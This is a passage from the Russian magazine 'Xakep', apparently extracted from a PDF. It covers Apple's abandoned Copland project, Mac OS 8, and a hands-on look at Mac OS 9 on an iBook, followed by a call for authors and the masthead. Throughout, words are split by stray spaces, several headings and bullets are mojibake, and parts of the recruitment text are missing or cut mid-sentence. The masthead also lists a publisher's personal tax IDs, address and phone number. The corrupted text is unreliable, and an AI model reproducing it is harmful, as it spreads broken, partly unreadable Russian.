зовать ее и на нас толь ных компь юте рах, и на сер верах высоко го клас са.

Од нако оба эти про екта так и не были реали зова ны пол ностью. Пла ны ока -
зались слиш ком амби циоз ными: раз работ чики пытались внед рить сра зу мно -
жес тво прин ципи аль но новых фун кций, при этом в про екте не име лось ясно го
тех ничес кого задания и даже чет кой докумен тации, что делало тес тирова ние
и интегра цию ком понен тов прак тичес ки невоз можны ми. Коман ды Copland
и Gershwin кон флик товали меж ду собой, а тре бова ния к сис теме пос тоян но
менялись под дав лени ем мар кетоло гов и менед жеров, что при води ло к фор -
менно му хаосу. При этом генераль ный дирек тор Apple Джон Скал ли уде лял
вни мание в основном мар кетин говым воп росам, но прак тичес ки не кон тро -
лиро вал про цесс раз работ ки.

В 1995 году сто имость раз работ ки Copland пре выси ла пер воначаль ный
бюд жет поч ти в три раза, а обе щан ные релизы пос тоян но откла дыва лись.
К кон цу года ста ло оче вид но, что Copland не будет готова в обоз римом
будущем, — сис тема пред став ляла собой набор раз рознен ных модулей,
которые невоз можно было соб рать в еди ную работа ющую ОС. Пос ле ана лиза
сос тояния дел новый менед жер Эллен Хэн кок приш ла к выводу о его без -
надеж ности, и в августе 1996 года про ект был офи циаль но зак рыт.

Все сро ки ока зались катас тро фичес ки упу щены, и в 1997 году Apple была
вынуж дена выпус тить хоть какие-то обновле ния для толь ко что появив шихся
на рын ке новых компь юте ров iMac G3 и PowerMac G3. Этим дол гождан ным
обновле нием ста ла Mac OS 8, где появил ся мно гопо точ ный Finder, который
поз волил выпол нять нес коль ко опе раций с фай лами одновре мен но, улуч шена
под дер жка USB и FireWire. В вер сии 8.1 добави лась новая фай ловая сис тема
HFS+, которая обес печива ла более эффектив ное управле ние дис ковым
прос транс твом, а начиная с вер сии 8.5 сис тема ста ла работать толь ко
на про цес сорах PowerPC. Но внут ри это была все та же клас сичес кая
«макось», ноги которой рос ли из вось мидеся тых — со все ми сопутс тву ющи ми
огра ниче ниями.

Mac OS 8

ÏÎÑËÅÄÍÈÉ ÈÇ ÌÎÃÈÊÀÍ

Ус танов ленная на моем iBook Mac OS 9 — пос ледняя «клас сичес кая» вер сия
«макоси», уви дев шая свет перед окон чатель ным перехо дом Apple на перера -
ботан ную плат форму NeXTSTEP. Apple при обре ла ком панию NeXT, обла дав -
шую лицен зией на эту плат форму, в 1997 году, но, что бы прев ратить
NeXTSTEP в новую ОС для «маков», тре бова лось вре мя.

Вы пущен ная 23 октября 1999 года «девят ка» была приз вана улуч шить ста -
биль ность и фун кци ональ ность Mac OS 8, то есть ста ла сво его рода ком про -
мис сным вари антом в ожи дании появ ления OS X. Раз работ чики добави ли
авто мати чес кую заг рузку обновле ний через интернет (Software Update), усо -
вер шенс тво ван ную под дер жку мно гополь зователь ско го режима, и вооб ще,
Apple позици они рова ла Mac OS 9 как «луч шую опе раци онную сис тему всех
вре мен для работы с интерне том». Но так ли это, осо бен но с уче том того, что
счас тли вые вла дель цы PC в том же 1999 году уже вов сю исполь зовали
Windows 98, где с этим самым интерне том все было как раз в пол ном поряд -
ке?

Мой iBook с Mac OS 9

Ес ли ты при вык к сов ремен ной OS X, интерфейс клас сичес кой «макоси», ско -
рее все го, вызовет у тебя лег кую ото ропь. Удоб ной панели Dock нет и в
помине, вмес то нее — узень кая «гар мошка» с кноп ками, наз начение которой
понять понача лу очень неп росто. Эта панель ка называ ется Control Strip,
и пред назна чена она для управле ния основны ми фун кци ями сис темы
и получе ния информа ции о сос тоянии компь юте ра, а сов сем не для запус ка
при ложе ний. Нап ример, тут мож но изме нить яркость экра на, гром кость зву ка,
пос мотреть уро вень заряда батареи ноут бука, про верить под клю чение
к сетям и выз вать дру гие час то исполь зуемые фун кции ОС. Кноп ки мож но
добав лять и менять мес тами, а саму панель Control Strip — переме щать вдоль
левого или пра вого края экра на, а так же сво рачи вать или раз ворачи вать
для эко номии мес та на рабочем сто ле.

Control Strip

Хо рошо хоть, в вер хней час ти дис плея рас полага ется зна комая коман -
дно-инс тру мен таль ная панель с налив ным яблочком, по щел чку мышью
на котором откры вает ся сис темное меню. Прав да, содер жимое это го меню,
рав но как и дру гих в этой панели, отли чает ся от при выч ных сов ремен ному
юзе ру. Тем не менее основная кон цепция здесь та же: панель ка отоб ража ет
меню активно го при ложе ния и сис темные инди като ры, вро де рас клад ки кла -
виату ры и часов. Одна ко она не под держи вает рас ширения сто рон них раз -
работ чиков и прак тичес ки никак не нас тра ивает ся, в отли чие от меню-бар
в OS X, поведе нием которой мож но управлять с исполь зовани ем раз личных
ути лит.

Ме ню-бар Mac OS 9

Так что же в Mac OS 9 с интерне том? Бра узер в Mac OS 9 име ется, но это
не при выч ный Safari, а… Microsoft Internet Explorer! Он был вклю чен в сос тав
ОС бла года ря под писан ному в 1997 году сог лашению меж ду Apple
и Microsoft. По усло виям сог лашения Internet Explorer ста новил ся бра узе ром
по умол чанию на плат форме Macintosh, от чего выиг рывали все: Apple
получи ла сов ремен ный и фун кци ональ ный бра узер, а Microsoft рас ширяла
свое при сутс твие на рын ке Mac. Internet Explorer для Mac исполь зовал собс -
твен ный дви жок Tasman, раз работан ный спе циаль но для этой плат формы,
но сай ты в нем отоб ражались в точ ности так же, как и в MSIE для Windows, что
обес печива ло хорошую сов мести мость с веб-стан дарта ми того вре мени.
Пол ностью под дер жку это го бра узе ра в Mac OS прек ратили толь ко
в 2003 году.

В MSIE на Mac OS 9 нор маль но откры вает ся толь ко сайт Chat.ru

Бра узер — далеко не единс твен ный про дукт Microsoft, который име ется
на моем ноут буке: вто рой — это Microsoft Word for Mac. Надо ска зать, что
визу аль но этот тек сто вый редак тор прак тичес ки неот личим от ста рого доб -
рого Word 97, которым я ког да-то поль зовал ся под Windows 98, и работа ет он
впол не снос но и ста биль но.

Microsoft Word на Mac OS 9

По мимо Internet Explorer и фай лового менед жера Finder, в сос таве Mac OS
9 име ется ути лита для поис ка информа ции в интерне те и на локаль ном дис ке
под наз вани ем Sherlock, муль тимедий ный про игры ватель QuickTime,
адресная кни га, каль кулятор, кален дарь, часы и прос тень кий поч товый кли -
ент. Ну и дру гих прог рамм под эту опе раци онку в те вре мена сущес тво вало
в избытке: от полез ных ути лит до игр. Прав да, при всем этом раз нооб разии
под капотом у Mac OS 9 пря талась все та же древ няя, как мамонт, сис тема
из вось мидеся тых, со всем сво им богатым нас леди ем.

В общем, перед поль зовате лями компь юте ров Apple на рубеже эпох сто ял
неп ростой выбор: мораль но уста рев шая «девят ка» или тор мозная и сырая
«десят ка», для которой еще не успе ли раз работать дос таточ ный ассорти мент
соф та. И оба вари анта, ска жем пря мо, были так себе.

Тем не менее имен но в этом про тиво речии и зак лючалась сила Apple: ком -
пания соз натель но пош ла на болез ненный раз рыв с прош лым, отка зав шись
от «клас сичес кой» ОС в поль зу новой плат формы на осно ве ядра XNU,
которая впос ледс твии ста ла фун дамен том всех ОС кор порации, вклю чая iOS
и watchOS.

Mac OS 9 оста лась пос ледним пред ста вите лем ушед шей эпо хи, сис темой,
в которую лег ко влю бить ся, но которую невоз можно было раз вивать. Одна ко
что-то в этом неб роском интерфей се все-таки есть: что-то, чего, воз можно,
очень не хва тает некото рым сов ремен ным опе раци онкам, — прос тоты,
непос редс твен ности и лаконич ности. Mac OS 9 не стре милась поразить
поль зовате ля ани маци ей, кра сотой знач ков или визу аль ными эффекта ми,
не дик товала, как работать с компь юте ром, не собира ла вти харя информа -
цию и не пря тала важ ные нас трой ки за сло ями абс трак ции. В ней все было
на виду — чуть арха ично и угло вато, но по-нас тояще му чес тно.



«Хакеру» всег да нуж ны новые авто ры, и ты можешь стать
одним из них! Если тебе инте рес но то, о чем мы пишем,
и есть желание иссле довать эти темы вмес те, не упус ти воз -
можность всту пить в ряды наших авто ров и получать за это
все, что им при чита ется.

 Раз мер зависит от слож -

ности и уни каль нос ти темы и объ ема про делан ной работы (но не от объ -
ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная статья

при носит месяц под писки и зна читель но уве личи вает лич ную скид ку. Уже
пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 

. Если ты сту дент или науч ный

сот рудник, . А еще мы пла -
ниру ем запуск англо языч ной вер сии, так что 

.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ïóá ëèêàöèÿ â æóð íàëå ïðè ãîäèò ñÿ îñî áåí íî

ó òåáÿ áóäåò øàíñ áûòü

óçíàííûì è çà ðóáåæîì

И конеч но, 

. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,
написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ
ÑÒÀÒÜÞ?
Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом -
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ -
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав -
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?
Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:
 Час -

тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое занятие
впол не обы ден ным. Если твои мама и бабуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес -
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì-òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если ты

ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при -
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

 Поп -

робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ном с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ-òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если мы
о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под -
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî-òî âàæ íîå?»

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?
1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда -
ет тебе пра вила офор мле ния и отве чает на твои воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб -
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

Ес ли готов пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции
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Алек сей Глаз ков, Nik Zerof,
Юрий Язев

РЕКЛАМА

Дирек тор по спец про ектам
Ан на Яков лева

yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
 

Воп росы о под писке:
lapina@glc.ru

 Воп росы о матери алах:
support@glc.ru 

Уч редитель: ИП Яков лева Анна Вадимов на ИНН 503806735948 ОГРН/ОГРНИП 320508100264021. Адрес: 141271, Рос сия, Мос ков ская область,
Пуш кино, мкр Соф рино-1, дом 28, квар тира 58. Телефон: +7(980)4591655. Зарегис три рова но Федераль ной служ бой по над зору в сфе ре свя зи,
информа цион ных тех нологий и мас совых ком муника ций (Рос комнад зоре), сви детель ство ЭЛ № ФС 77 — 73894 от 12.10.2018 года. Мне ние
редак ции не обя затель но сов пада ет с мне нием авто ров. Все матери алы в номере пре дос тавля ются как информа ция к раз мышле нию. Лица,
исполь зующие дан ную информа цию в про тиво закон ных целях, могут быть прив лечены к ответс твен ности. Редак ция не несет ответс твен ности
за содер жание рек ламных объ явле ний в номере. По воп росам лицен зирова ния и получе ния прав на исполь зование редак цион ных матери алов
жур нала обра щай тесь по адре су: content@glc.ru. © Жур нал «Хакер», РФ, 2025
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